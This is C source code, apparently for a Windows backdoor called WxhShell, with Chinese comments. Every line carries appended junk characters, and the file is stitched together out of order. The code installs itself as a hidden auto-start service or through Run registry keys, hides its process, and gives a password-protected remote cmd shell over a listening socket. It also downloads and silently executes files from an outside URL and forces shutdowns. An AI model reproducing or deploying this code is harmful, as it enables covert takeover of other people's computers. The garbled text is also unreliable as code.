  case 'd': { M:cW/&ZJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m 4V0e~]  
    if(Boot(SHUTDOWN)) VTs ,Ln!,U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UCI !>G  
    else { `m=u2kxY  
    closesocket(wsh); 'h{| ]  
    ExitThread(0); :{M1]0 NH  
    } "Is0:au+?}  
    break; S|/Za".Gr  
    } /=~o|-n8@  
  // 获取shell NG\^>.8  
  case 's': { ">!<OB  
    CmdShell(wsh); o 76QQ+hP  
    closesocket(wsh); OE5JA8/H  
    ExitThread(0); [hXnw'Im/  
    break; )=6o  ,  
  } #({ 9M  
  // 退出 Gu5%Pou  
  case 'x': { 95b65f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SZL('x,"^  
    CloseIt(wsh); ~v^I*/uY  
    break; BM_Rlcx~  
    } wSIfqf+y  
  // 离开 Ob m%\h  
  case 'q': { A v[|G4n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WzdE XcY  
    closesocket(wsh); hVd PO  
    WSACleanup(); yvt :/X  
    exit(1); Pef$-3aP>E  
    break; CyV(+KBe_  
        }   7)  
  } 6*%E4#4  
  } ;ep@ )Y  
Bxs0m]  
  // 提示信息 6}^6+@LG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uH=^ILN.  
} ;SVAar4r  
  } N]7#Q.(~  
0uwe,;   
  return; Y0ouLUlI  
} *|^}=ioj*  
82A[[^`  
// shell模块句柄 RZ GD5`n  
int CmdShell(SOCKET sock) XpoEZ|0  
{ ;.#l[  
STARTUPINFO si; ^UiSezc I  
ZeroMemory(&si,sizeof(si)); oV=~ Q#v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C ehz]C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OYayTKxN  
PROCESS_INFORMATION ProcessInfo; iK=SK3)vR  
char cmdline[]="cmd"; ;vLg4k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4j VFzO%.  
  return 0; X2S:"0?7  
} ,n\'dMNii  
y-=YXqj  
// 自身启动模式 #F25,:hY  
int StartFromService(void) y)#=8oci  
{ aW@J]slg  
typedef struct + -OnO7f  
{ w;8VD`>[|  
  DWORD ExitStatus; M;zJ1  
  DWORD PebBaseAddress; ~Lf>/w  
  DWORD AffinityMask; X9/]< Y<!  
  DWORD BasePriority; 9w08)2$ Na  
  ULONG UniqueProcessId; VKb'!Ystl  
  ULONG InheritedFromUniqueProcessId; 8V(-S,  
}   PROCESS_BASIC_INFORMATION; $<v{$UOh  
$5S/~8g(  
PROCNTQSIP NtQueryInformationProcess; 8*m=U@5]  
-wUw)gJbM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o.M.zkP a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mmx; Vt$i  
. Q$/\E  
  HANDLE             hProcess; gRQV)8uh  
  PROCESS_BASIC_INFORMATION pbi; 3 V{&o,6  
 ~N=$%C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t?6_^ 08  
  if(NULL == hInst ) return 0; a?5R ;I B  
<[w>Mbqj_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n1 kh8,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YDo Vm?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #Y;tobB  
?VP07 dQTe  
  if (!NtQueryInformationProcess) return 0; H;=++Dh  
RY9h^q*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HI*j6H?\  
  if(!hProcess) return 0; $ ";NS6 1  
H6/C7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,~^BoH}  
{c\KiWN  
  CloseHandle(hProcess); )Ept yH  
cO^}A(Ma(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2pn8PQfg)  
if(hProcess==NULL) return 0; vivU4:uH3  
;"j>k>tg  
HMODULE hMod; |T;NoWO+  
char procName[255]; fjwUh>[ }  
unsigned long cbNeeded; h:l4:{A64  
TOvpv@?-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z%1{B*(e  
fx `oe  
  CloseHandle(hProcess); B jsF5~+\  
jpI=B  
if(strstr(procName,"services")) return 1; // 以服务启动 wrmbOT  
[Adkj  
  return 0; // 注册表启动 QH.zsqf(  
} T3#KuiwU9  
"{Jq6):mp  
// 主模块  ZXL  
int StartWxhshell(LPSTR lpCmdLine) pR*)\@ma  
{ "? t@Y  
  SOCKET wsl; <oP"kh<D4  
BOOL val=TRUE; "2a&G3}t"  
  int port=0; Wp0L!X=0  
  struct sockaddr_in door; !w #x@6yq  
\]gUX-  
  if(wscfg.ws_autoins) Install(); wjnQK  
LYvjqNC&4  
port=atoi(lpCmdLine); mw,\try  
Z{gJm9  
if(port<=0) port=wscfg.ws_port; lhRo+X#G  
w=MiJr#3^  
  WSADATA data; Q@HW`@i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |E =8  
;;; {<GEQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @+ee0 CLT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Se>"=[=  
  door.sin_family = AF_INET; +M %zOX/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G" &yE.E5  
  door.sin_port = htons(port); %\ef Mhn  
ghu8Eg,Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rW<sQ0   
closesocket(wsl); $b=4_UroS  
return 1; s`E^1jC  
} u^NZsuak  
dOfEEqPI  
  if(listen(wsl,2) == INVALID_SOCKET) { &Y/Myh[P  
closesocket(wsl); Fo86WP}  
return 1; nL]-]n;  
} <~}# Q,9  
  Wxhshell(wsl); dX8N7{"[  
  WSACleanup(); ]pi8%.d  
r|W 2I,P  
return 0; 5o P 3 1  
:2_8.+:  
} yw3E$~k  
}jWZqIqj  
// 以NT服务方式启动 S85}&\m&4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dD{{G :V  
{ ]BiLLDz(  
DWORD   status = 0; map#4\  
  DWORD   specificError = 0xfffffff; ck"lX[d1  
WUnmUW[/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f#3U,n8:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aHzS>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R]y[n;aGC  
  serviceStatus.dwWin32ExitCode     = 0; FPB O=?H.  
  serviceStatus.dwServiceSpecificExitCode = 0; 0-!K@#$>=  
  serviceStatus.dwCheckPoint       = 0; '.8E_Jd0E  
  serviceStatus.dwWaitHint       = 0; !f^'-  
AO "pm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 43p0k&;-7  
  if (hServiceStatusHandle==0) return; yu>DVD  
/^F$cQX(  
status = GetLastError(); )n&@`>vm  
  if (status!=NO_ERROR) Spt]<~  
{ f6d:5 X_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n,+/%IZ  
    serviceStatus.dwCheckPoint       = 0; `*`@ro  
    serviceStatus.dwWaitHint       = 0; MsL*\)*s  
    serviceStatus.dwWin32ExitCode     = status; aOr'OeG(=e  
    serviceStatus.dwServiceSpecificExitCode = specificError; F7r!zKXZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0M^v%2 2  
    return; P$=BmBq18`  
  } ?%Pd:~4D  
lNw8eT~2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D:yj#&I  
  serviceStatus.dwCheckPoint       = 0; /y.+N`_  
  serviceStatus.dwWaitHint       = 0; rnV\O L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }#3'72  
} <E`Ygac  
,(  ?q  
// 处理NT服务事件,比如:启动、停止 I2R" Y<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G?t<4MT v  
{ yK #9)W-  
switch(fdwControl) A_mVe\(*M  
{ $aFCe}3b<  
case SERVICE_CONTROL_STOP: >#Obhs|S{C  
  serviceStatus.dwWin32ExitCode = 0; bQ3EBJT{P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b?~%u+'3  
  serviceStatus.dwCheckPoint   = 0; O DLRzk(  
  serviceStatus.dwWaitHint     = 0; bZB7t`C5  
  { !&k}YF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GQP2-cSZ  
  } ? !dy  
  return; DnZkZ;E/  
case SERVICE_CONTROL_PAUSE: s$,gM,|cK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #J,?oe=<4  
  break; N5SePA\ ,?  
case SERVICE_CONTROL_CONTINUE: *C*'J7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jM'kY|<g;  
  break; &H`AS6  
case SERVICE_CONTROL_INTERROGATE: %FDv6peH  
  break; N`JkEd7TT  
}; i#lnSJ08  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZB5:FtW4  
} *QIlh""6  
#9a\Ab  
// 标准应用程序主函数 7t@r}rC,K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v|&Nh?r  
{ hPP,D\#  
[]vt\I ;  
// 获取操作系统版本 *&d>Vk."]  
OsIsNt=GetOsVer(); Nzo;j0 [  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %)|pUa&  
ey~5DY7  
  // 从命令行安装 Lcx)wof  
  if(strpbrk(lpCmdLine,"iI")) Install(); xxsax/h  
7l%]/`Y-  
  // 下载执行文件 _Prh&Q1zs  
if(wscfg.ws_downexe) { srh>" 2."  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nI_43rG:Uf  
  WinExec(wscfg.ws_filenam,SW_HIDE); sr=~U q{g  
} gNsas:iGM  
/mM#nS  
if(!OsIsNt) { o<Esh;;*nm  
// 如果时win9x,隐藏进程并且设置为注册表启动 -Dx_:k|k  
HideProc(); \x,q(npHi  
StartWxhshell(lpCmdLine); {c;][>l  
} r? w^#V  
else N '8u}WO  
  if(StartFromService()) Y2j>@  
  // 以服务方式启动 R0l5"l*@+  
  StartServiceCtrlDispatcher(DispatchTable); TvbkvK  
else V?.')?'V  
  // 普通方式启动 =41g9UQ  
  StartWxhshell(lpCmdLine); VDyQv^=#  
g p2S   
return 0; oV(|51(f  
} X4c|*U=4  
EU@ BNja  
RWe$ZZSz!  
Q||v U  
=========================================== N5yt'.d  
_\d[`7#  
)tq&l>0h  
_XO3ml\x@  
Mj guH5Uy  
JBYmy_Su  
" %z0;77[1I  
*v' d1.Z  
#include <stdio.h> @Nm;lZK  
#include <string.h> kXfTNMb  
#include <windows.h> Q1A_hW2x  
#include <winsock2.h> Z4^O`yS9+  
#include <winsvc.h> m ll-cp  
#include <urlmon.h> b.LMJ'1  
&zxqVI$4  
#pragma comment (lib, "Ws2_32.lib") / bxu{|.  
#pragma comment (lib, "urlmon.lib") &y7<h>z  
e;*GbXd|  
#define MAX_USER   100 // 最大客户端连接数 ,v#F6xv8  
#define BUF_SOCK   200 // sock buffer X\ -IAv  
#define KEY_BUFF   255 // 输入 buffer _V jfH2Y  
)2tDX=D  
#define REBOOT     0   // 重启 #K:!s<_"  
#define SHUTDOWN   1   // 关机 WS!:w'rzr  
fI_I0dc.p  
#define DEF_PORT   5000 // 监听端口 R;G"LT  
7z_EX8^  
#define REG_LEN     16   // 注册表键长度 JJHfg)  
#define SVC_LEN     80   // NT服务名长度 _uYidtxo=  
\4/zvlo]h  
// 从dll定义API OH(w3:;[8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); prWK U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q.]$t 2J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s9Tp(Yr,k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ""; Bq*Y#  
nmH1Wg*aW  
// wxhshell配置信息 sRMz[n 5k  
struct WSCFG { !T'`L{Sj  
  int ws_port;         // 监听端口 ag_RKlM3  
  char ws_passstr[REG_LEN]; // 口令 sbju3nvk  
  int ws_autoins;       // 安装标记, 1=yes 0=no [1LlzCAFBw  
  char ws_regname[REG_LEN]; // 注册表键名 pM|m*k  
  char ws_svcname[REG_LEN]; // 服务名 DR%16y<h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W RBCNra  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZM6`:/lc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vhEqHjR:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2`Ojw_$W7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =ObI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3Uy48ue  
8p;|&7  
}; +E7Os|m  
l\HLlwYO  
// default Wxhshell configuration O<RLw)nzg  
struct WSCFG wscfg={DEF_PORT, 7gk}f%,3P  
    "xuhuanlingzhe", ;v*J:Mn/=  
    1, (}#8$ )  
    "Wxhshell", <Lt%[dn  
    "Wxhshell", ]52.nxs~  
            "WxhShell Service", MJzY|  
    "Wrsky Windows CmdShell Service", x$:P;#  
    "Please Input Your Password: ", _s1pif  
  1, Jp d|<\Ml  
  "http://www.wrsky.com/wxhshell.exe", F3%8E<QZd;  
  "Wxhshell.exe" _K4E6c_  
    }; 7xhBdi[ dQ  
,Vc>'4E-  
// 消息定义模块 I<``d Ne9Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1Zh4)6x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L/[b~D>T%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TEzMFu+V  
char *msg_ws_ext="\n\rExit."; 9sgyg3fv>5  
char *msg_ws_end="\n\rQuit."; pGsk[.  
char *msg_ws_boot="\n\rReboot..."; k6}M7 &nY  
char *msg_ws_poff="\n\rShutdown..."; *K57($F  
char *msg_ws_down="\n\rSave to "; TI<?h(*R_  
Q| 6lp  
char *msg_ws_err="\n\rErr!"; v>[U*E  
char *msg_ws_ok="\n\rOK!"; w YEkWB^  
&c|3v!  
char ExeFile[MAX_PATH]; 4GN  
int nUser = 0; y37c&XYq  
HANDLE handles[MAX_USER]; |*T`3@R;3  
int OsIsNt; \U?$ r[P  
O 7Z?y*  
SERVICE_STATUS       serviceStatus; Nueb xd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UG!528;7  
, S }  
// 函数声明 xpU7ZY  
int Install(void); C3]"y7  
int Uninstall(void); YAc~,N   
int DownloadFile(char *sURL, SOCKET wsh); dPm_jX  
int Boot(int flag); G2[? b2)8  
void HideProc(void); )@Vz,f\}  
int GetOsVer(void); k$ORVU  
int Wxhshell(SOCKET wsl); z{q|HO  
void TalkWithClient(void *cs); >x3$Ld  
int CmdShell(SOCKET sock); . XVW2ISv  
int StartFromService(void); it#,5#Y:  
int StartWxhshell(LPSTR lpCmdLine); \ ";^nk*  
n9w(Z=D\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); na4^>:r~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u^ 3,~:E  
JQ~[$OGH  
// 数据结构和表定义 SJJ[y"GvD  
SERVICE_TABLE_ENTRY DispatchTable[] = "C/X#y   
{ &Rp/y%9  
{wscfg.ws_svcname, NTServiceMain}, )ZQ>h{}D  
{NULL, NULL} gic!yhsS_  
}; T!yI+<  
r-s9]0"7~  
// 自我安装 [gybdI5wur  
int Install(void) (Ev=kO  
{ uE]Z,`e  
  char svExeFile[MAX_PATH]; * q$O6B-  
  HKEY key; A hCqQ.O71  
  strcpy(svExeFile,ExeFile); >* )fmfY  
ZYexW=@  
// 如果是win9x系统,修改注册表设为自启动 DmA~Vj!a^y  
if(!OsIsNt) { (rE.ft5$9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I)AbH<G{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EW~M,+?  
  RegCloseKey(key); QSNPraT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mjj5~by:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]F#}8$  
  RegCloseKey(key); Q&@e,7]V+  
  return 0; Q|7$SS6$  
    } xCYK"v6\  
  } ?glK~G!i  
} U(rY,4'  
else { c.eUlr_ {  
'5r\o8RjN  
// 如果是NT以上系统,安装为系统服务 #7r13$>!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]5',`~jkF  
if (schSCManager!=0) 8fSY@  
{ =MjkD)l  
  SC_HANDLE schService = CreateService /_D_W,#P  
  ( 3Ow bU  
  schSCManager, t8ZzBD!dP  
  wscfg.ws_svcname, f6])M)  
  wscfg.ws_svcdisp, 8svN*`[  
  SERVICE_ALL_ACCESS, oB$c-!&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L:_GpZ_  
  SERVICE_AUTO_START, )jPIBzMys  
  SERVICE_ERROR_NORMAL, : =f!>_r+  
  svExeFile, i1 >oRT{Z  
  NULL, m|]:oT`M  
  NULL, Ju@8_ ?8=  
  NULL, A:4?Jd>  
  NULL, xS+!/pBf"Y  
  NULL Aryp!oW  
  ); ?P%-p  
  if (schService!=0) % 4Gt^:J"  
  { d^+0=_[PmK  
  CloseServiceHandle(schService); Mpx98xcO  
  CloseServiceHandle(schSCManager); wM1&_%N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {%+UQ!]d8  
  strcat(svExeFile,wscfg.ws_svcname); E;rS"'D:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7tP qez#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qORL 7?{  
  RegCloseKey(key); Lyq[gQjr  
  return 0; &[7z:`+Y##  
    } AaLbJYuKd  
  } rcAPp  
  CloseServiceHandle(schSCManager); ;Xl {m`E+  
} FI"KJk'  
} M3VTzwuf^S  
`>Ms7G9S~e  
return 1; -x VZm8y  
} tNG[|Bi#  
2 -pv &  
// 自我卸载 2(2UAB"u  
int Uninstall(void) TZ#^AV=ae  
{ Y3JIDT^  
  HKEY key;  :!/ (N  
U8a5rF><  
if(!OsIsNt) { ] B?NDxU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v|R#[vtFd  
  RegDeleteValue(key,wscfg.ws_regname); 8bdx$,$k  
  RegCloseKey(key); Ei4Iv#Oi`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (_3QZ  
  RegDeleteValue(key,wscfg.ws_regname); UB,0c)   
  RegCloseKey(key); gE9x+g  
  return 0; m(w9s;<  
  } +Kp8X53  
} ()W`4p  
} j;J`P H  
else { 6F_:,b^  
Zd}12HFq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &EhOSu  
if (schSCManager!=0) $/crb8-C  
{ e^k)756  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |pZ:5ta#  
  if (schService!=0) ny}_^3  
  { :7?n)=Tx  
  if(DeleteService(schService)!=0) { B:VGa<lx5  
  CloseServiceHandle(schService); =wMq!mBd  
  CloseServiceHandle(schSCManager); Z#%s/TL  
  return 0; +`7!4gxwK!  
  } E> N[  
  CloseServiceHandle(schService); >mj WC) U  
  } d*dPi^JjC  
  CloseServiceHandle(schSCManager); 7l4}b^>/`  
} n)PqA*  
} q)3QmA~  
T>|Y_3YO_a  
return 1; OHv4Yy]$B  
} zeD=-3  
r72zWpF!Ss  
// 从指定url下载文件 b%].D(qBy  
int DownloadFile(char *sURL, SOCKET wsh) 7ufTmz#j<  
{ `S A1V),~  
  HRESULT hr; P2F8[o!<  
char seps[]= "/"; _:>t$* _  
char *token; n-{.7  
char *file; ?u5jX J0L  
char myURL[MAX_PATH]; u%5 ,U-  
char myFILE[MAX_PATH]; 32Wa{LG;2  
]:}7-;$V  
strcpy(myURL,sURL); <tW/9}@p9  
  token=strtok(myURL,seps); sB!6"D5  
  while(token!=NULL) VAp 1{  
  { j_.tg7X  
    file=token; R5xV_;wD  
  token=strtok(NULL,seps); MeYu  
  } %I;uqf  
?:6w6GwAA  
GetCurrentDirectory(MAX_PATH,myFILE); Bkg./iP5x  
strcat(myFILE, "\\"); -b)3+#f  
strcat(myFILE, file); d.Q<!Au3  
  send(wsh,myFILE,strlen(myFILE),0); U ]7;K>.T  
send(wsh,"...",3,0); %' /^[j#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \hdil`{>  
  if(hr==S_OK) ;(rK^*`fO  
return 0; Lb?0<  
else I%{ 1K+V/  
return 1; LfJMSscfv  
S0ReT*I  
} 8gG;A8  
0./Rdf=-1j  
// 系统电源模块 iI;np+uYk  
int Boot(int flag) hW`o-'  
{ _p?s[r*  
  HANDLE hToken; ,BR W=  
  TOKEN_PRIVILEGES tkp; 4]ko  
89{`GKWX  
  if(OsIsNt) { zYM0?O8pJ~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -XnOj2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4?]s%2U6  
    tkp.PrivilegeCount = 1; -wVuM.n(Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >3}N;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /]of @  
if(flag==REBOOT) { ^a$L9p(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8tO.o\)h  
  return 0; q{+}0!o  
} L\R(//V  
else { 4>/i,_&K K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xZ(d*/6E  
  return 0; 53?Ati\Y)  
} 5=b6B=\*~  
  } fu?u~QZ8  
  else { ?J-D6;  
if(flag==REBOOT) { \YHl(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +|H,N7a<  
  return 0; GiKhdy  
} ""m/?TZq'  
else { 0<##8m@F8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ' Er\ 68  
  return 0; wh!8\9{g  
} ZZ/k7(8  
} Y~w1_>b  
:  @$5M  
return 1; $LG.rJ/*  
} { R/e1-;  
~S$ex,~  
// win9x进程隐藏模块 Ec^2tx"=  
void HideProc(void) b}*q*Bq  
{ 5=Y(.}6  
E(&zH;?_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pD }b$  
  if ( hKernel != NULL ) TmK8z  
  { ?A04qk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [ua[A;K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V{ ~~8b1E  
    FreeLibrary(hKernel); c7R&/JV  
  } c=^69>w  
BU7QK_zT:  
return; h)aLq  
} k=G c#SD5_  
nU0##  
// 获取操作系统版本 @H^\PH?pp  
int GetOsVer(void) x=X&b%09  
{ r?dkE=B  
  OSVERSIONINFO winfo; l<'}`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $ e.Bz `  
  GetVersionEx(&winfo); L0w2qF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4G hg~0  
  return 1; L">m2/ HG  
  else c._!dq&#R  
  return 0; j,Qb'|f5  
} d,Oe3?][0p  
~M1T @Mv  
// 客户端句柄模块 HGi%b5:<=M  
int Wxhshell(SOCKET wsl) t3C#$ >  
{ rB|4  
  SOCKET wsh; jo<Gf 5  
  struct sockaddr_in client; eLbh1L  
  DWORD myID; s.XxYXR\  
~}SQLYy7Z  
  while(nUser<MAX_USER) 2/Ye<.#  
{ (cI@#x  
  int nSize=sizeof(client); wM#l`I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3>=G-AH/$K  
  if(wsh==INVALID_SOCKET) return 1; JvaHH!>d/  
]mjKF\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .'4@Yp{=  
if(handles[nUser]==0) A7eYKo q  
  closesocket(wsh); Z-M4J;J@}  
else 2wgcVQ Awa  
  nUser++;  v&7x ~!O  
  } _d+` Gw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9>ZX@1]m_  
t}MT<Jj  
  return 0; CK_\K,xVT  
} V343 IT\  
85Kf>z::c  
// 关闭 socket )bpdj,  
void CloseIt(SOCKET wsh) z6h/C {  
{ ]BTISaL-R  
closesocket(wsh); u'gsIuRJ  
nUser--; 6UuM `eu  
ExitThread(0); |uX&T`7?-  
} }.=@^-JBA5  
AJ6O>Euq  
// 客户端请求句柄 l1%*LyD  
void TalkWithClient(void *cs) ZmI#-[/  
{ QkLcs6)R  
NH1ak(zHW  
  SOCKET wsh=(SOCKET)cs; ej&o,gX  
  char pwd[SVC_LEN]; o=F!&]+  
  char cmd[KEY_BUFF]; <l>L8{-3  
char chr[1]; E/D@;Ym18  
int i,j; 3wfJ!z-E8  
U.<ad  
  while (nUser < MAX_USER) { c:s[vghH^#  
6 \ %#=GG  
if(wscfg.ws_passstr) { ZW 5FL-I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nE :Wl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EJJ&`,q  
  //ZeroMemory(pwd,KEY_BUFF); B*^QTJ  
      i=0; L:jv%;DM  
  while(i<SVC_LEN) { F$9+WS`c  
2%MS$Fto  
  // 设置超时 3ZvQUH/{W  
  fd_set FdRead; v{8r46Y~Z)  
  struct timeval TimeOut; /)rv Ndn  
  FD_ZERO(&FdRead); =H^~"16  
  FD_SET(wsh,&FdRead); (: mF+%(  
  TimeOut.tv_sec=8; JqEo~]E]  
  TimeOut.tv_usec=0; `[x'EJp#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B<~BX [  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0,iG9D 7  
? :F Jc[J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kn2W{*wD  
  pwd=chr[0]; _cJ\A0h^  
  if(chr[0]==0xd || chr[0]==0xa) { x7xQrjE  
  pwd=0; C.se/\PE  
  break; mk6>}z*  
  } 9FF  
  i++; ^a#W|-:  
    } 4hn' b[  
RVpo,;:  
  // 如果是非法用户,关闭 socket C4|79UG>s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j"&Oa&SH  
} ,ZnL38GW  
P+0 -h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p#gf^Y5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cWI7];/d;  
5)gC<  
while(1) { a JQ_V  
2}5@: cwR+  
  ZeroMemory(cmd,KEY_BUFF); YCyh+%Q(  
mH'om SCz  
      // 自动支持客户端 telnet标准   (]5gYi  
  j=0; s]xn&rd_  
  while(j<KEY_BUFF) { U{HBmSR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `<% w4 E  
  cmd[j]=chr[0]; mrlhj8W?!  
  if(chr[0]==0xa || chr[0]==0xd) { tpP68)<ns  
  cmd[j]=0; 0rc'SEl  
  break; jfZ)  
  } 4>]B8ZxH  
  j++; Qaiqx"x3  
    } =DI/|^j{ ;  
;]2d%Qt  
  // 下载文件 x0xQFlGk  
  if(strstr(cmd,"http://")) { D5!I{hp"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >}86#^F  
  if(DownloadFile(cmd,wsh))  j 2e|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P> 7PO~E.  
  else U^OR\=G^  
